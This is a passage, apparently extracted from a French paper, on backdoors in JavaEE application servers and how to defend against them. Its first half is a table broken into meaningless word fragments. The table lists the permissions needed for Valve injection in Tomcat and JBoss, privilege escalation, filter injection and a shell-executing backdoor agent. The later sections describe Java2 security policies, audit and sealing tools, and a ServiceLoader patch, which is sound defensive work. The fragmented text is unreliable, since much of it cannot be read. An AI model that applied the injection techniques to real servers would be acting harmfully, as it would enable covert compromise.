contr
ela
de-
com
pilati
on
javautilPropertyPermission
macaron-backdoorread
javalangRuntimePermission
createClassLoader
javalangRuntimePermission
getProtectionDomain
Pou
rev
iter
lad
e-co
mp
ilati
on
le
cod
ees
tp
rote
ge
Ce
pri
vil
ege
nrsquoe
stp
as
nec
essa
ire
enco
nd
itio
nn
orm
ale
etp
eut
etre
ign
ore
lors
des
test
sIl
nrsquoe
stp
as
dis
crim
inant
pou
rdem
ontr
erqu
rsquoun
eatt
aqu
en
ep
eut
avoir
lieu
Inje
ctio
nd
eV
alv
ed
an
sT
om
cat
javaxmanagementMBeanPermission
orgapachetomcatutilmodelerBaseModelMBeanaddValve
queryNamesinvokeregisterMBean
javaxmanagementMBeanPermission
orgapachetomcatutilmodelerBaseModelMBeanremoveValve
invoke
(Optionel)
javalangRuntimePermission
accessClassInPackageorgapachecatalina
javalangRuntimePermission
accessClassInPackageorgapachecatalinavalves
La
port
ed
erobee
con
stru
itu
ne
Valv
eet
lrsquoin
-je
cte
dan
sT
om
cat
alrsquoaid
ed
rsquoun
ere
qu
ete
Mb
ean
Inje
ctio
nd
eV
alv
ed
an
sT
om
cat
5x
siltContext
privileged=truegt
javalangRuntimePermission
accessClassInPackageorgapachecatalinaconnector
javalangRuntimePermission
accessClassInPackageorgapachetomcatutilhttp
Si
lep
rivil
ege
est
dis
pon
ible
dan
scontextxml
etu
tilisa
tion
de
Tom
cat
5x
Inje
ctio
nd
eV
alv
ed
an
sT
om
cat
6x
javalangRuntimePermission
defineClassInPackageorgapachecatalinavalves
javalangRuntimePermission
defineClassInPackageorgapachecatalina
javalangRuntimePermission
defineClassInPackageorgapachecatalinaconnector
Si
uti
lisa
tion
de
Tom
cat
6x
Inje
ctio
nd
eV
alv
ed
an
sJB
oss
avec
Tom
cat
5x
siltContext
privileged=truegt
javaxmanagementMBeanServerPermission
findMBeanServer
javaxmanagementMBeanPermission
orgapachetomcatutilmodelerBaseModelMBeanaddValve
queryNamesinvokeregisterMBean
javaxmanagementMBeanPermission
orgapachetomcatutilmodelerBaseModelMBeanremoveValve
invoke
(Optionel)
javalangRuntimePermission
getClassLoader
javalangRuntimePermission
accessClassInPackageorgapachecatalina
javalangRuntimePermission
accessClassInPackageorgapachecatalinavalves
javalangRuntimePermission
accessClassInPackageorgapachecatalinaconnector
javalangRuntimePermission
accessClassInPackageorgapachetomcatutilhttp
Sile
pri
vil
ege
est
dis
pon
ible
dan
scontextxml
lap
ort
ed
erob
eeco
nst
ruit
un
eV
alv
eet
lrsquoin
ject
ed
an
sJB
oss
alrsquoaid
ed
rsquoun
ere
quet
eM
bea
n
424 Porte derobee dans les serveurs drsquoapplications JavaEE
Inje
cti
on
Priv
ileges
necess
air
es
Desc
rip
tion
s
Au
gm
enta
tion
de
pri
vil
eges
sou
sT
om
cat
javaioFilePermission
$catalinahomelibwrite
javaioFilePermission
$catalinahomelibread
(Optional)
javautilPropertyPermission
catalinahomeread(Optional)
Dro
iten
ecri
ture
sur
lere
pert
oir
epar
lrsquoO
Sp
our
lrsquouti
lisa
teur
pro
pri
eta
ire
du
serv
eur
drsquoa
pplicati
on
Cet
teatt
aqu
eco
nsi
ste
are
cop
ier
lrsquoarc
hiv
ed
ela
port
ed
erob
eed
an
su
nau
tre
rep
erto
ire
du
serv
eur
drsquoa
pp
lica
tion
A
insi
au
pro
chain
dem
arr
age
de
ced
ern
ier
leco
de
ben
efici
ed
ep
lus
de
pri
vil
eges
Au
gm
enta
tion
de
pri
vil
eges
sou
sJB
oss
javaioFilePermission
$jbosshomedirserverdefaultdeployjboss-webdeployerwrite
javaioFilePermission
$jbosshomedirserverdefaultdeployjboss-webdeployerread
(Optionel)
Dro
iten
ecri
ture
sur
lere
pert
oir
epar
lrsquoO
Sp
our
lrsquouti
lisa
teur
pro
pri
eta
ire
du
serv
eur
drsquoa
pplicati
on
Cet
teatt
aqu
eco
nsi
ste
are
cop
ier
lrsquoarc
hiv
ed
ela
port
ed
erob
eed
an
su
nau
tre
rep
erto
ire
du
serv
eur
drsquoa
pp
lica
tion
A
insi
au
pro
chain
dem
arr
age
de
ced
ern
ier
leco
de
ben
efici
ed
ep
lus
de
pri
vil
eges
Inje
ctio
nd
efi
ltre
JavaE
Ed
an
swebxml
sou
sT
om
cat
javaioFilePermission
$catalinabasewebapps$warWEB
INFwebxml
write
Cet
teatt
aqu
eco
nsi
ste
ain
ject
eru
nfi
ltre
JE
Ed
an
sla
ver
sion
enca
che
de
Tom
cat
du
fich
ier
webxmlA
up
roch
ain
red
emarr
age
lefi
ltre
est
act
if
Inje
ctio
nS
pri
ng
Au
cun
Inje
ctio
nd
eltbeangt
dan
sle
sfi
chie
rsd
ep
ara
met
rage
de
Sp
rin
gp
ou
rca
ptu
rer
tou
sle
sre
qu
etes
au
fram
ework
MV
C
Pro
gra
mm
ati
on
par
asp
ect
Au
cun
Inje
ctio
nd
etr
ait
emen
tp
ou
rle
sse
rvle
tset
JS
P
Vou
sp
ou
vez
con
state
rqu
ed
eux
att
aqu
esn
en
eces
site
nt
au
cun
pri
vil
ege
Le
tab
leau
suiv
ant
rep
ren
dle
sp
rivil
eges
nec
essa
ires
au
xd
iffer
ents
agen
tsp
rop
ose
sC
esp
rivileg
esn
eso
nt
pas
nec
essa
ires
au
ne
att
aqu
eci
ble
e
P Prados 425A
gents
Priv
ileges
min
imu
ms
necess
air
es
Desc
rip
tion
s
Agen
tH
isto
riqu
eA
ucu
np
rivil
ege
part
icu
lier
A
gen
tm
emori
sant
les
der
nie
res
requ
etes
HT
TP
Agen
tJN
DI
Au
cun
pri
vil
ege
part
icu
lier
A
gen
tm
an
ipu
lant
lrsquoan
nu
air
eJN
DI
Agen
tJM
XjavaxmanagementMBeanPermission
getDomainsgetMBeanInfogetAttribute
Agen
tco
nsu
ltant
les
JM
X
Agen
tJD
BC
Au
cun
pri
vil
ege
part
icu
lier
A
gen
tp
erm
etta
nt
de
man
ipu
ler
lab
ase
de
don
nee
s
Agen
tJava
avec
lan
gage
Javasc
rip
tA
ucu
np
rivil
ege
part
icu
lier
A
gen
tp
erm
etta
nt
lrsquoex
ecu
tion
de
cod
eJavasc
rip
t
Agen
tJava
avec
lan
gage
Java
javalangRuntimePermission
createClassLoader
javaioFilePermission
$javahomeclassesread
javaioFilePermission
$javahomeclasses-read
javaioFilePermission
$javahomelib-read
Agen
tp
erm
etta
nt
laco
mp
ilati
on
de
cod
eJava
alrsquoaid
ed
rsquoAJP
le
com
pilate
ur
de
JS
P
Exte
nsi
on
agen
tJava
pou
rT
om
cat
javaioFilePermission
$catalinahomecommonlibread
javaioFilePermission
$catalinahomecommonendorsedread
javaioFilePermission
$catalinahomecommonendorsedread
Les
dro
its
sup
ple
men
tair
esp
ou
rco
mp
iler
du
cod
eso
us
Tom
cat
Exte
nsi
on
agen
tJava
pou
ru
ne
com
pilati
on
via
toolsjar
javautilPropertyPermission
javaiotmpdirread
javautilPropertyPermission
javaclasspathread
javautilPropertyPermission
javaendorseddirsread
javautilPropertyPermission
javaextdirsread
javautilPropertyPermission
sunbootclasspathread
javaioFilePermission
$javahomeclassesread
javaioFilePermission
$javahomeclasses-read
javaioFilePermission
$javahomelib-read
javaioFilePermission
$javahomelibtoolsjarread
javaioFilePermission
$javaiotmpdirread
javaioFilePermission
$javaiotmpdir-readwritedelete
javaioFilePermission
read
javaioFilePermission
-read
javaioFilePermission
$javahomelib-read
javaioFilePermission
$javahomelibtoolsjarread
javaioFilePermission
$javaiotmpdirread
javaioFilePermission
$javaiotmpdir-readwritedelete
javaioFilePermission
read
javaioFilePermission
-read
Les
dro
its
sup
ple
men
tair
esp
ou
rco
mp
iler
avec
tools
jar
siA
JP
nrsquoe
stp
as
dis
pon
ible
Agen
tS
hel
l
javaioFilePermission
binbashexecute
javaioFilePermission
WINDOWSSytem32cmdexeexecute
javaioFilePermission
commandcomexecute
Agen
tp
rop
osa
nt
un
shel
l
426 Porte derobee dans les serveurs drsquoapplications JavaEE
Les serveurs drsquoapplications utilisent rarement la securite Java2 Pourquoi Lesdeveloppeurs nrsquoayant jamais teste ce mode ils ne connaissent pas les droits minimumsa ouvrir Dans le doute pour ne pas faire planter lrsquoapplication tous les privilegessont ouverts
Utiliser la securite Java2 complexifie lrsquoinstallation des composants car il fautmodifier un fichier global du serveur drsquoapplication (policy) Nous proposons plusbas une solution pour ameliorer cela
Tomcat propose un parametre de lancement pour utiliser la securite Java2
$ catalinash run -security
Il aurait ete preferable drsquoavoir la securite par defaut et un parametre pour lasupprimer
JBoss ne propose pas nativement la securite Java 2 Le wiki11 indique commentmodifier le script de lancement pour ajouter les droits Il nrsquoest pas possible drsquoindiquerdes droits differents pour chaque composant ou chaque archive Les droits a ouvrirsont globaux a tous les composants et toutes les archives des composants car ledeploiement srsquoeffectue par defaut dans un repertoire dont le nom est aleatoire Ainsisans modification du deploiement de JBoss la porte derobee est pratiquement toujourspossible En ouvrant un droit pour un composant evolue les privileges sont egalementdisponibles pour les injections
51 Utilisation de la securite Java2
Il est difficile de connaıtre precisement lrsquoensemble des privileges necessaires achaque archive Les projets nrsquoindiquent generalement pas cette information
Pour remedier a cela et faciliter la prise en compte de la securite Java2 coteserveur nous proposons a tous les projets drsquoutiliser la convention suivante
ndash Pour chaque archive un fichier META-INFjarpolicy doit etre propose Cedernier indique a titre informatif les privileges minimum necessaires a lrsquoutili-sation du composant La syntaxe de ce fichier est conforme aux specificationsJava 12 Les privileges doivent etre indiques a titre global sans signedBy oucodeBase
Par exemple le fichier suivant indique des privileges pour une archive specifique
grant
permission javautilloggingLoggingPermission
control
permission javautilPropertyPermission
11 httpwwwjbossorgcommunitydocsDOC-938012 httpjavasuncomj2se13docsguidesecurityPolicyFileshtml
P Prados 427
javaiotmpdirread
permission javaioFilePermission
ltltALL FILES gtgtread write
permission javaioFilePermission
$javaiotmpdir read write delete
Lrsquoutilitaire macaron-policy que nous proposons permet alors drsquoagreger tous lesprivileges necessaires a un composant WAR ou EAR pour produire un fichier deprivilege complet Vous le trouverez avec drsquoautres utilitaires ici httpmacarongooglecodecom Il est capable de prendre en entree un composant JavaEE un fichierpolicy deja present ou une log de JVM executee avec la variable drsquoenvironnement-Djavasecuritydebug=accessfailure
Sur le site une video presente egalement un cas drsquoutilisation de cet outil
De ces trois sources drsquoinformations le programme extrait les privileges necessaireset peut egalement modifier directement un fichier policy existant
$ macaron -policy --output MonComposantpolicy
MonComposantear
Le fichier produit doit etre adapte au contexte drsquoexecution avant drsquoetre inseredans le serveur drsquoapplications
Comme le fichier resultat est generalement dependant du serveur drsquoapplicationil est parfois difficile de decrire les privileges globalement dans une archive sansadherence a un serveur particulier Pour contourner cela des variables peuvent etreutilisees dans les fichiers META-INFjarpolicy
Lors de la generation du fichier de politique de securite il est possible de lesvaloriser pour les specialiser pour le serveur drsquoapplications cible Nous proposons lesconventions suivantes
Tab 1 Variables de politique de securite
Variable Description
$serverhome Repertoire racine du serveur drsquoapplications$serverlib Repertoire des librairies du serveur drsquoapplications$webappbase Repertoire de base de deploiement des composants$webapphome Repertoire de deploiement du composant
Ainsi une archive desirant avoir un acces en ecriture dans le repertoire log durepertoire de deploiement du composant doit indiquer dans le fichier jarpolicy leprivilege suivant
428 Porte derobee dans les serveurs drsquoapplications JavaEE
grant
permission javaioFilePermission $webapphomelogread write
Lors de lrsquoexecution de lrsquoutilitaire les variables peuvent etre valorisees soit directe-ment par la ligne de commande (parametre -D classique) soit en indiquant un ouplusieurs fichiers de proprietes (parametre -P) Les variables non valorisees restentdisponibles Conformement aux specifications des fichiers policy elles devront etrevalorisees lors du lancement de la machine virtuelle par des variables systemes
Le fichier de propriete pour Tomcat est le suivant
serverhome=$catalinahome
serverlib=$catalinahome serverlib
webappsbase=file$catalinabase webapps
webappshome=$webappsbase$basename
La variable $basename est la seule inconnue de Tomcat Il faut la valoriser pourlrsquoadapter au nom du repertoire servant a deployer le composant Par defaut cettevariable est valorisee avec le nom du composant lui-meme mais cela peut etre modifieen ligne de commande
$ macaron -policy -P tomcatproperties
-Dbasename=sample
Vous pouvez egalement choisir de laisser cette variable en etat et la valoriser lorsdu lancement de la JVM du serveur drsquoapplication
$ macaron -policy -P tomcatproperties
-Dbasename=$basename
$ export JAVA_OPTS=- Dbasename=sample
$ $TOMCAT_HOMEbincatalinash run -security
Une invocation de lrsquooutil pour Tomcat ressemble lsquoa ceci
$ macaron -policy --output MonComposantpolicy
-P tomcatproperties MonComposantear
Le fichier produit peut avoir deux formes Il declare des privileges pour chaquearchive (recommande)
Privileges separes
grant codebase file$catalinabase webappsMonComposantWEB -INFlibl1jar
permission javautilloggingLoggingPermission control
permission javaioFilePermission -read write
grant codebase file$catalinabase webappsMonComposantWEB -INFlibl2jar
permission javautilPropertyPermission javaiotmpdirread
permission javaioFilePermission $javaiotmpdir read write delete
P Prados 429
ou tous les privileges globalement (parametre --merge )
Privileges globaux
grant
permission javautilloggingLoggingPermission control
permission javaioFilePermission -read write
permission javautilPropertyPermission javaiotmpdirread
permission javaioFilePermission $javaiotmpdir read write delete
Cela permet de traiter les serveurs drsquoapplications nrsquoetant pas capable de definirfinement les privileges JBoss par exemple utilise par defaut un repertoire aleatoirepour le deploiement Il est possible de supprimer cette fonctionnalite
La variable $prefix est utilisee en introduction du codebase avant le nomde lrsquoarchive Elle est valorisee par defaut a $webappshome pour repondre auxcomposants JavaEE En la modifiant il est possible drsquoexploiter les privileges pourdrsquoautres contextes drsquoexecutions une application Swing par exemple
Comme la plupart des archives nrsquoindiquent pas les privileges dont elles ont besoinet qursquoil est difficile de les identifier a priori nous proposons une base de donneecollaborative13 pour permettre a chacun de lrsquoalimenter
Lrsquoutilitaire recherche le fichier META-INFjarpolicy dans chaque composantSrsquoil ne le trouve pas une requete est envoyee a la base de donnee pour recuperer laderniere version des privileges publies Si le composant nrsquoest pas present dans la basede donnees le programme lrsquoignore et ne genere pas de privilege pour ce composant Sipar la suite vous souhaitez faire enregistrer les privileges identifies sur un composantparticulier inscrivez-vous sur le site et partagez votre decouverte
Vous pouvez construire votre propre base de donnees La variable drsquoenvironnementPOLICY DATABASE ou le parametre --database permettent drsquoindiquer le format delrsquoURL a utiliser La chaine de caracteres est convertie en nom de lrsquoarchive avantlrsquoinvocation
Les exemples suivants sont des URLs de base de politique valides ndash httplocalhostpolicyparam=
ndash httpslocalhost
ndash filedatabasepolicypolicy
ndash policypolicy
Une base dans un repertoire local peut donc etre utilisee aussi facilement qursquounebase distante sur HTTP ou HTTPS Il suffit drsquoavoir des fichiers comme spring-core-
-255jarpolicy avec les privileges necessaires dans le repertoire databasepolicyCela permet drsquoutiliser des privileges normalises au sein de lrsquoentreprise
13 httpmacaron-policygooglecodecom
430 Porte derobee dans les serveurs drsquoapplications JavaEE
Lrsquoutilitaire lui-meme respecte les conventions proposees Lrsquoarchive policy-jar
possede un fichier META-INFjarpolicy A titre de demonstration nous pouvonsappliquer lrsquoutilitaire a lui-meme
$ macaron -policy --merge --output securitypolicy
$MACARON_HOMElibpolicy -jar
Cette commande demande la generation drsquoun fichier securitypolicy avec tousles privileges declares dans le fichier META-INFjarpolicy presents dans lrsquoarchivepolicy-jar Nous souhaitons que les privileges soient declares globalement Nouspouvons immediatement utiliser le resultat pour relancer lrsquoutilitaire mais cette foisavec la securite Java2 activee
$ JAVA_OPT=-Djavasecuritymanager
-Djavasecuritypolicy=securitypolicy
macaron -policy --output -
$MACARON_HOMElibpolicy -jar
Les privileges demandes sont les suivants
grant
permission javautilloggingLoggingPermission control
permission javautilPropertyPermission
javaiotmpdirread
permission javaioFilePermission
ltltALL FILES gtgtread write
permission javaioFilePermission
$javaiotmpdir read write delete
permission javanetSocketPermission
80 connect resolve
permission javanetSocketPermission
443 connect resolve
permission javalangRuntimePermission
getenvPOLICY_DATABASE
Ils sont parfaitement conformes aux fonctionnalites de lrsquooutilPour enrichir un fichier existant il suffit de lrsquoindiquer dans le parametre --policy
Ainsi pour injecter directement les privileges dans le fichier de Tomcat vous pouvezutiliser la commande suivante
$ macaron -policy
--policy $CATALINA_HOMEconfcatalinapolicy
MonComposantwar
Les privileges extraits ne sont generalement pas suffisants Ils constituent unpremier jet a enrichir avec le contexte drsquoexecution Par exemple vous ne trouverezpas de privileges pour les connections reseaux dans les fichiers jarpolicy
P Prados 431
Pour identifier les problemes de securite ajoutez -Djavasecuritydebug=access-failure dans la ligne de commande de la JVM cela trace toutes les invocations Levolume de logs etant important il est preferable drsquoinjecter le resultat dans un fichier
$ export JAVA_OPTS=-Djavasecuritydebug=access failure
$ $CATALINA_HOMEbincatalinash run
-security gtaccesslog 2gtamp1
La trace produite par la JVM lors de la presence du parametre javasecuritydebugnrsquoest pas tres lisible Elle est tres volumineuse et melange les privileges accordes desprivileges refuses
Il est possible de ne tracer qursquoun type de privilege limitant ainsi le volume destraces
-Djavasecuritydebug=access failure permission=javalangRuntimePermission
Ou bien de ne tracer que les privileges necessaires a un composant particulier
-Djavasecuritydebug =
access failure codebase =
file$TOMCAT_HOMEwebappssample
Un parametre de lrsquooutil macaron-policy permet une analyse des traces produiteslors de lrsquoutilisation de la variable javasecuritydebug
macaron -policy --accesslog accesslog
Cela permet drsquoinjecter les dernieres erreurs detectees lors de lrsquoabsence drsquounprivilege
$ macaron -policy
--accesslog accesslog
--policy $CATALINA_HOMEconfcatalinapolicy
$CATALINA_HOMEwebappsMonComposantwar
Comme les erreurs presentes dans les logs utilisent des codeBase sans variable leresultat produit nrsquoest pas exactement celui attendu dans le fichier catalinapolicyPour corriger cela lrsquooutil est capable de faire une analyse inverse de variable Crsquoest adire qursquoil detecte dans le codeBase srsquoil nrsquoexiste pas une valeur correspondant a unevariable Si crsquoest le cas il la remplace par le nom de la variable Pour cela il fautdeclarer des variables inverses a lrsquoaide du parametre -I
$ macaron -policy
--accesslog accesslog
-Icatalinabase=$CATALINA_HOME
--policy $CATALINA_HOMEconfcatalinapolicy
MonComposantwar
432 Porte derobee dans les serveurs drsquoapplications JavaEE
Ainsi le fichier catalinapolicy est automatiquement mis a jour avec les derniersprivileges refuses a lrsquoapplication lors de la derniere execution
Pour identifier tous les privileges il faut alors proceder par iteration Cela estfastidieux mais grandement facilite par lrsquooutil macaron-policy
Tant qursquoil y a encore des privileges a ajouterndash Lancer le serveur drsquoapplication avec les logs drsquoacces actifs ndash Verifier lrsquoapplication jusqursquoa trouver un refus de privilege ndash Arreter le serveur drsquoapplications ndash Injecter les privileges manquant dans le fichier policy ndash RecommencerCela donne dans le cas de Tomcat le scenario suivant
$ export
JAVA_OPTS=-Djavasecuritydebug=access failure
$ while [ true ] do
echo -n ltCtrl -Cgt or ltCRgt to analyse and launch tomcat read
macaron -policy
-P tomcatproperties
--policy $CATALINA_HOMEconfcatalinapolicy
--accesslog accesslog
-Icatalinabase=$CATALINA_HOME $CATALINA_HOMEwebappsmyappwar
echo launch tomcat
$CATALINA_HOMEbincatalinash run -security gtaccesslog 2gtamp1
done
Il est egalement possible drsquoinitialiser une base de donnees locale Le resultatproduit doit etre repris a la main pour regrouper des privileges inserer des variablesqualifier veritablement les privileges en supprimer certains etc Le resultat ne devraiten aucun cas etre exploite tel quel Pour cela il faut ajouter le parametre --extract
en indiquant le prefixe des codeBase a extraire et indiquer le repertoire de destinationdans le parametre --output Par exemple pour extraire tous les privileges calculeesextraits drsquoune trace ou recuperes dans un fichier policy il faut proceder ainsi
$ macaron -policy
--loglevel info
--extract
--output mypolicydatabase
--policy $CATALINA_HOMEconfcatalinapolicy
Grace a cet outil il est beaucoup plus facile de produire le fichier de synthese desprivileges et drsquoutiliser la securite Java2 Bien entendu le fichier resultat doit etreconsulte avec attention avant sa mise en production Lrsquooutillage propose facilite sageneration Il ne garantit pas une securite optimum
Chaque projet peut utiliser plus ou moins de fonctionnalite drsquoun composant Lesprivileges presents dans les fichiers jarpolicy ou la base de donnees sont necessaires
P Prados 433
a lrsquoensemble des fonctionnalites Il est possible de supprimer des privileges srsquoils nesont pas exploites dans lrsquoapplication
Par mesure de securite le privilege javasecurityAllPermission nrsquoest pasautorise dans les fichiers sauf demande explicite en ligne de commande Utilisez leparametre --help pour avoir plus drsquoinformations
$ macaron -policy --help
52 Signature numerique
Une alternative consiste a signer numeriquement les archives lorsqursquoil est garantieqursquoelles sont saines Un couple de clef privepublic est utilise pour signer les archivesdont lrsquoentreprise a appliquer tous les outils de qualification comme lrsquooutil macaron-auditdecrit ci-dessous La clef privee est utilisee pour signer les archives avant de lespublier dans le repository de lrsquoentreprise Tous les privileges ou seulement certainspeuvent alors etre accordes globalement
grant codebase foocom Signedby foo
Principal comsunsecurityauthSolarisPrincipal duke
permission javasecurityAllPermission
Il est preferable de nrsquoaccorder que les privileges necessaires a chaque composant
53 Defense passive
Lors de lrsquoanalyse drsquoun composant JavaEE differents symptomes peuvent eveillerles soupcons
ndash La presence de packages de meme nom dans des archives differentes ndash La presence de fichiers de meme nom avec des extensions differentes dans les
memes packages ndash La presence de fichiers de meme nom dans des packages differents ndash La presence de fichiers dans META-INFservices ndash La presence de certaines annotationsNous proposons un outil drsquoaudit de composants Vous le trouverez avec drsquoautres
utilitaires ici httpmacarongooglecodecom Ce dernier prend en parametredes composants JavaEE des repertoires etou des archives Il analyse lrsquoensemble pourdetecter les pieges
Un fichier au format XML permet de synthetiser les resultats
$ macaron -audit --output auditxml MonComposantear
$ firefox auditxml
434 Porte derobee dans les serveurs drsquoapplications JavaEE
Le rapport XML est consultable dans un navigateur grace a une feuille de stylespecifique permettant la navigation dans les resultats
Fig 14 Audit
Grace a la feuille de style lrsquoimpression de cette page presente tous les resultatsLrsquoexperience montre qursquoil y a effectivement des classes similaires dans plusieurs
archives differentes du meme projet des noms de fichiers identiques present a differentsendroits etc
ltpackages gt
ltpackage
name=orgaspectjinternallangannotationgt
ltcontext gtaspectjweaver -161 jarltcontext gt
ltcontext gtaspectjrt -160 jarltcontext gt
ltpackage gt
ltpackages gt
Pour eviter les faux positifs un parametre permet drsquoindiquer des regles drsquoexclusionsComme le format du fichier des regles drsquoexclusions est strictement identique au fichierde resultat drsquoune analyse il est possible drsquoeffectuer un premier tir sur une instancede confiance ou limitees aux archives saines du projet et drsquoutiliser le resultat pour lestirs suivant Ainsi seules les nouvelles alertes seront exposees
$ macaron -audit --output ignorexml MonComposantear
$ macaron -audit --ignore ignorexml
-output auditxml
MonComposantear
P Prados 435
Certains fichiers sont presents en nombre dans les archives Ils peuvent etre exclusglobalement
ltfilenames gt
ltfilename name=MANIFESTMF gt
ltfilename name=INDEXLIST gt
ltfilename name=packagehtml gt
ltfilenames gt
Cette approche presente le risque de cacher une attaque eventuelle car les exclusionsne sont pas associees a des archives specifiques
Il est preferable de selectionner judicieusement les archives a utiliser dans leprojet pour eviter les faux-positifs Par exemple avec Maven il est possible drsquoexclurecertaines dependances malheureuses
ltdependency gt
ltgroupId gtorgspringframework ltgroupId gt
ltartifactId gtspring -aspects ltartifactId gt
ltversion gt255ltversion gt
ltexclusions gt
ltexclusion gt
ltgroupId gtorgaspectj ltgroupId gt
ltartifactId gtaspectjrt ltartifactId gt
ltexclusion gt
ltexclusions gt
ltdependency gt
Les dependances declarees entrainent la presence de packages identiques dansdeux archives differentes Lrsquoune est incluse dans lrsquoautre Il est preferable de supprimerdu projet lrsquoarchive aspectjrt que drsquoajouter des exceptions dans le fichier ignorexml
Lrsquooutil drsquoaudit permet de se focaliser sur les differents pieges possibles mais passur les techniques drsquoinjections de code lors de lrsquoanalyse drsquoune requete HTTP Celadoit etre controle par lrsquoutilisation de la securite Java2
54 Defense active
Pour eviter le risque de surcharge de classe ou le contournement des privilegesaccordes aux packages Java propose deux mecanismes14
Le premier permet drsquointerdire la consultation ou lrsquoajout de classes dans certainspackages (les packages java et sun par exemple) Ce mecanisme est mis en placepar la valorisation de deux variables drsquoenvironnement systeme de la JVM (pack-agedefinition et packageaccess) Tomcat utilise cela pour proteger les classes duserveur drsquoapplication vis a vis des classes des composants applicatifs (voir le fichiercatalinaproperties)
14 httpjavasuncomdeveloperJDCTechTips2001tt0130html
436 Porte derobee dans les serveurs drsquoapplications JavaEE
Le deuxieme mecanisme permet drsquointerdire a des classes drsquoun meme package drsquoetrepresentes dans des archives differentes Cela srsquoeffectue par un parametre dans lefichier MANIFESTMF Si ce dernier possede le parametre Sealed true tous lespackages de lrsquoarchive sont proteges Il est egalement possible de sceller les packagesindividuellement15 Ces verifications ne sont effectuees que si la securite Java2 estactivee
En placant les fichiers properties dans les memes repertoires que les classes duprojet (ce qui est fortement conseille) il nrsquoest plus possible drsquoajouter une classe pourdetourner le flux de traitement lors de la consultation drsquoun ResourceBundle
Si les fichiers properties sont dans des repertoires sans aucune classe il ne serta rien de les sceller Le scellement ne concerne que les classes
Pour sceller une archive avec Maven2 il faut ajouter dans le fichier pomxml lesinstructions suivantes
ltbuildgt
ltplugins gt
ltplugin gt
ltartifactId gtmaven -jar -plugin ltartifactId gt
ltconfiguration gt
ltarchive gt
ltmanifestEntries gt
ltSealed gttrueltSealed gt
ltmanifestEntries gt
ltarchive gt
ltconfiguration gt
ltplugin gt
ltplugins gt
ltbuildgt
Comme la tres grande majorite des archives Open Source ne sont pas scellees ilfaut les modifier pour ajouter les protections necessaires Une etude sur pres de millecomposants montre que moins drsquoun pour-mille est scelle etou signe
Nous proposons un utilitaire srsquooccupant drsquoajouter lrsquoattribut Sealed true a tousles composants et toutes les librairies (httpmacarongooglecodecom)
$ macaron -seal --in -place MonComposantear
Cette commande scelle tous les packages de toutes les archives du composantLes fichiers META-INFMF des librairies presentes dans le repertoire WEB-INFlib desfichiers war et les librairies des EJBs sont modifies pour sceller tous les packages
Pour plus drsquoinformations invoquez lrsquoaide
$ macaron -seal --help
15 httpjavasuncomj2se13docsguideextensionsspechtmlsealing
P Prados 437
Il est possible drsquoappliquer recursivement ce scellement a un referentiel MavenIl faut alors adapter en meme temps les hashs SHA1 srsquoils sont presents Ces hashspeuvent etre verifies lors du telechargement drsquoun composant dans le cache local
$ macaron -seal --in -place --sha1 -R m2repository
De meme pour un repository Ivy
$ macaron -seal --in -place -R ivy2cache
Le resultat drsquoun audit precedant peut servir a exclure des packages du processusAinsi il est facile de renforcer une instance du serveur Tomcat par exemple endemandant un audit du code puis en scellant les packages ne presentant pas deproblemes
$ macaron -audit --output audit -tomcatxml
-R $CATALINA_HOME
$ macaron -seal --ignore audit -tomcatxml
-R $CATALINA_HOME --in -place
Ces deux commandes peuvent srsquoeffectuer en une seule fois a lrsquoaide de pipe
$ macaron -audit --output - -R $CATALINA_HOME |
macaron -seal --ignore - -R $CATALINA_HOME --in-place
La version de Tomcat durcie possede des archives scellees sauf pour les quelquespackages partages par differentes archives Lors de lrsquoutilisation de la securite Java2elle est plus resistante aux pieges
$ $CATALINA_HOMEbincatalinash run -security
Cette approche interdit une partie des injections de code de type ResourceBundleLes ResourcesBundles presents dans des repertoires ou il nrsquoy a pas drsquoautres classessont toujours vulnerables
Il est egalement possible drsquoavoir un audit signalant les packages scelles Le resultatest un fichier XML avec une feuille de style XSLT pour une consultation dans unnavigateur
$ macaron -seal --audit sealedxml MonComposantwar
$ firefox sealedxml
438 Porte derobee dans les serveurs drsquoapplications JavaEE
55 Reduction du risque des META-INFservices
La securite Java2 permet drsquoautoriser des classes a effectuer certains traitementsElle permet egalement de determiner les privileges drsquoune classe avant son utilisation
Pour reduire le risque drsquoune utilisation malveillante de services nous proposonsdrsquoapporter quelques modifications a la classe javautilServiceLoader du JDK6 etsuivant
Cette classe normalise lrsquoutilisation des services et propose une API pour recuperertoutes les implementations drsquoune interface
Lrsquoimplementation actuelle ne verifie aucun privilege pour lrsquoinstallation drsquoun nou-veau service Nous proposons drsquoajouter la classe javautilServicePermission et drsquoa-jouter la verification du privilege associe lors de lrsquoinstallation drsquoun nouveau servicedans la classe ServiceLoader
if (SystemgetSecurityManager ()=null)
final Permission perm=
new ServicePermission(servicegetName ())
AccessControllerdoPrivileged(
new PrivilegedAction ltObject gt()
public Object run()
if (clazzgetProtectionDomain ()implies(perm))
throw new AccessControlException(
install service denied perm perm)
return null
)
Lrsquoajout de ce test permet de srsquoassurer que lrsquoarchive proposant drsquoajouter un nouveauservice en a le privilege Seul le CodeBase implementant le service doit posseder leprivilege Lrsquoappelant du service nrsquoen a pas besoin
Un patch en ce sens est propose a la communaute Ce dernier modifie egalement lesclasses des packages javaxxml et orgw3c pour qursquoelles utilisent ServiceLoader
De nombreuses autres classes du JDK utilisent le mecanisme de services sansutiliser la classe ServiceLoader Elles sont toujours vulnerables Il srsquoagit des classesdes packages suivants
ndash comsunndash orgrelaxingdatatype
ndash sunmisc
P Prados 439
Il faut egalement proceder de meme pour les classes de JavaEE Un diffstat surles modifications indique lrsquoetendue de la mise a jour et les classes impactees
j2sesrc javautilServiceLoaderjava | 42 +-
j2sesrc javautilServicePermissionjava | 74 ++++
j2sesrc javaxxmlbindContextFinderjava | 66 ---
j2sesrc javaxxmldatatypeFactoryFinderjava | 85 ----
j2sesrc javaxxmlparsersDocumentBuilderFactoryjava | 12
j2sesrc javaxxmlparsersFactoryFinderjava | 94 -----
j2sesrc javaxxmlparsersSAXParserFactoryjava | 17
j2sesrc javaxxmlsoapFactoryFinderjava | 39 --
j2sesrc javaxxmlstreamFactoryFinderjava | 84 ----
j2sesrc javaxxmltransformFactoryFinderjava | 86 ----
j2sesrc javaxxmlvalidationSchemaFactoryFinderjava | 36 +
j2sesrc javaxxmlwsspiFactoryFinderjava | 56 +--
j2sesrc javaxxmlxpathXPathFactoryFinderjava | 182 +---------
j2sesrc orgw3cdombootstrapDOMImplementationRegistryjava | 45 --
15 files changed 283 insertions (+) 646 deletions(-)
Ainsi pour pouvoir installer un nouveau service il faut avoir declare le privilegecorrespondant dans le projet
